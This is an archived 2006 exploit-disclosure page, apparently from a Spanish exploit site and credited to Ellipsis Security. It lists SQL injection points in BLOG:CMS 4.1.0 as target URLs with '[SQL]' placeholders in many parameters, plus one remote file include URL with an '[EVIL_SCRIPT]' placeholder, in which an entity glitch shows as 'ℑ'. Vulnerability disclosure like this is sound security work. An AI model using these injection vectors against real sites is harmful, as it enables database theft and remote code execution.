Exploits › Aplicacion › Appweb

BLOG:CMS 4.1.0 SQL injection File Include Vulnerability

Ju, 06/07/2006 - 14:30 — OeX
BLOG:CMS 4.1.0

http://blogcms.com

-------------

SQL injection

-------------

http://target.xx/?1'[SQL]

http://target.xx/?item='[SQL]

http://target.xx/?blog='[SQL]

http://target.xx/?member='[SQL]

http://target.xx/?typeface=1'[SQL]

http://target.xx/?results='[SQL]

http://target.xx/?DokuWiki='[SQL]

http://target.xx/?archives='[SQL]

http://target.xx/?category='[SQL]

http://target.xx/?PHPSESSID='[SQL]

http://target.xx/?results=1&blog='[SQL]

http://target.xx/?results=1&item='[SQL]

http://target.xx/?member=admin&category='[SQL]

http://target.xx/?query='[SQL]&amount=0&blogid=1

http://target.xx/?query=1&amount='[SQL]&blogid=1

http://target.xx/?query=1&amount=0&blogid='[SQL]

http://target.xx/action.php?action=votepositive&itemid=1'[SQL]

-------------------

Remote File Include

-------------------

http://target.xx/photo/thumb.php?gallery=./Corvetteℑ=[EVIL_SCRIPT]

-----------------

Ellipsis Security

http://www.ellsec.org
  • 442 lecturas

Comentarios

Enviar un comentario nuevo

  • Saltos automáticos de líneas y de párrafos.
  • Allowed HTML tags: <a> <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd> <img> <p> <br>
  • You may post code using <code>...</code> (generic) or <?php ... ?> (highlighted PHP) tags.

Más información sobre opciones de formato

CAPTCHA
This question is for testing whether you are a human visitor and to prevent automated spam submissions.
Image CAPTCHA
Copy the characters (respecting upper/lower case) from the image.